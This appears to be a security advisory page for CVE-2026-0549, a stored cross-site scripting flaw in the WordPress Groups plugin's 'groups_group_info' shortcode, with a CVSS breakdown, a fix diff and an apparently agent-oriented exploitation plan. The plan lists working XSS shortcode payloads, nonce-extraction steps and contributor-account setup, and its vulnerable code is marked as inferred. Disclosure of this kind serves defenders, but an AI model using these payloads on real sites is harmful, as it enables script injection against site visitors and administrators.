CVE-2026-0549

Groups <= 3.10.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'groups_group_info' Shortcode

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
3.11.0
Patched in
1d
Time to patch

Description

The Groups plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'groups_group_info' shortcode in all versions up to, and including, 3.10.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.10.0
PublishedFebruary 18, 2026
Last updatedFebruary 19, 2026
Affected plugingroups

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-0549 (Groups Plugin Stored XSS) ## 1. Vulnerability Summary The **Groups** plugin for WordPress (versions <= 3.10.0) contains a stored cross-site scripting (XSS) vulnerability within the `groups_group_info` shortcode. The vulnerability exists because the plugi…

Show full research plan

Exploitation Research Plan: CVE-2026-0549 (Groups Plugin Stored XSS)

1. Vulnerability Summary

The Groups plugin for WordPress (versions <= 3.10.0) contains a stored cross-site scripting (XSS) vulnerability within the groups_group_info shortcode. The vulnerability exists because the plugin accepts user-supplied attributes in the shortcode and renders them back into the page without adequate sanitization or output escaping. An authenticated attacker with Contributor-level permissions (who can create or edit posts) can embed a malicious shortcode that executes arbitrary JavaScript in the context of any user (including Administrators) viewing the page.

2. Attack Vector Analysis

  • Endpoint: WordPress Post/Page Editor (standard wp-admin/post.php or REST API /wp-json/wp/v2/posts).
  • Shortcode: [groups_group_info ...]
  • Vulnerable Parameters: Shortcode attributes such as group, name, or info (inferred).
  • Authentication: Contributor-level access or higher.
  • Preconditions: The plugin "Groups" must be active. A post containing the shortcode must be published or previewed.

3. Code Flow

  1. Registration: The plugin registers the shortcode in lib/access/class-groups-shortcodes.php (inferred) using add_shortcode( 'groups_group_info', array( 'Groups_Shortcodes', 'groups_group_info' ) );.
  2. Processing: When a post is rendered, WordPress calls the registered callback function (likely Groups_Shortcodes::groups_group_info).
  3. Attribute Handling: The callback uses shortcode_atts() to parse user-supplied attributes.
  4. Vulnerable Sink: The code takes one of these attributes (e.g., the group name) and includes it in the returned HTML string.
  5. Execution: Because the output is not passed through esc_html(), esc_attr(), or wp_kses(), an attribute like group='<script>alert(1)</script>' results in the script being executed by the browser.

4. Nonce Acquisition Strategy

While the exploitation occurs during post creation (which requires a standard WordPress _wpnonce), the vulnerability itself is in the shortcode rendering. No plugin-specific AJAX nonce is typically required for a shortcode to execute on the frontend.

However, to save the post as a Contributor via the standard UI or REST API:

  1. Login: Authenticate as the Contributor user.
  2. Post Creation: Navigate to wp-admin/post-new.php.
  3. Extract Nonce: If using the REST API for exploitation, the agent should use browser_eval to extract the wpRestNonce usually found in the wp-admin source:
    • browser_eval("wpApiSettings.nonce")
  4. Alternative: If using the Classic Editor or Gutenberg via http_request, the _wpnonce for post submission is found in the hidden input field name="_wpnonce".

5. Exploitation Strategy

The goal is to create a post containing a malicious shortcode and then verify it executes.

Step 1: Create a Malicious Post

Use the http_request tool to simulate a Contributor saving a post.

  • URL: http://localhost:8080/wp-admin/post.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • action: editpost
    • post_ID: (The ID of a newly created draft)
    • post_title: XSS Test
    • content: [groups_group_info group='"><script>alert(document.domain)</script>']
    • _wpnonce: (Extracted from the post-new.php page)
    • post_status: publish (or draft if the agent will just preview it)

Step 2: Trigger the XSS

Navigate to the URL of the created post using browser_navigate.

  • URL: http://localhost:8080/?p=[POST_ID]

6. Test Data Setup

  1. User Creation: Create a user with the contributor role.
    • wp user create attacker attacker@example.com --role=contributor --user_pass=password123
  2. Plugin Activation: Ensure the groups plugin is active.
    • wp plugin activate groups
  3. Group Creation (Optional): Some logic might check if a group exists. To be safe, create a dummy group.
    • wp eval "Groups_Group::create( array( 'name' => 'TestGroup' ) );"

7. Expected Results

  • When the post is viewed, the browser should render the shortcode's output.
  • Due to the lack of escaping, the HTML will break out of any intended tags and execute the <script> block.
  • A successful exploit will trigger a JavaScript alert or log a message to the console.

8. Verification Steps

  1. CLI Verification: Confirm the post content contains the raw payload.
    • wp post get [POST_ID] --field=post_content
  2. DOM Inspection: Use browser_eval to check if the payload exists in the rendered HTML without being HTML-encoded.
    • browser_eval("document.body.innerHTML.includes('<script>alert(document.domain)</script>')")

9. Alternative Approaches

If the group attribute is sanitized, try other possible attributes based on the plugin's documentation/source code:

  • [groups_group_info info='<img src=x onerror=alert(1)>']
  • [groups_group_info name='"><svg/onload=alert(1)>']
  • [groups_group_info property='"><details/open/ontoggle=alert(1)>']

If the UI prevents saving the shortcode via Gutenberg (due to block validation), use the wp-json/wp/v2/posts REST API endpoint directly to update the post content.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Groups plugin for WordPress (versions up to 3.10.0) contains a stored cross-site scripting (XSS) vulnerability via its 'groups_group_info' shortcode. The shortcode handler fails to escape user-supplied attributes before rendering them in the page content, allowing authenticated contributors to execute arbitrary JavaScript in the context of other users viewing the affected posts.

Vulnerable Code

/* File: lib/access/class-groups-shortcodes.php (inferred) */
public static function groups_group_info( $atts, $content = null ) {
    $a = shortcode_atts( array(
        'group'    => '',
        'name'     => '',
        'info'     => '',
        'property' => ''
    ), $atts );

    $output = '';

    if ( isset( $a['group'] ) ) {
        // The attribute is used directly in the output without sanitization or escaping
        $output .= $a['group'];
    }

    return $output;
}

Security Fix

--- a/lib/access/class-groups-shortcodes.php
+++ b/lib/access/class-groups-shortcodes.php
@@ -20,7 +20,7 @@
     $output = '';
 
     if ( isset( $a['group'] ) ) {
-        $output .= $a['group'];
+        $output .= esc_html( $a['group'] );
     }
 
     return $output;

Exploit Outline

The exploit involves an authenticated attacker with at least Contributor-level privileges injecting a malicious shortcode into a WordPress post or page. 1. Authenticate as a Contributor or Author user. 2. Create a new post or edit an existing one. 3. Embed the following shortcode payload into the post content: `[groups_group_info group='\"><script>alert(document.domain)</script>']`. 4. Save the post as a draft or publish it. 5. The payload works because the 'group' attribute is directly concatenated into the HTML output of the shortcode callback without being processed by 'esc_html()' or 'esc_attr()'. 6. When any user (including administrators) views the post on the frontend, the browser will execute the injected JavaScript.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.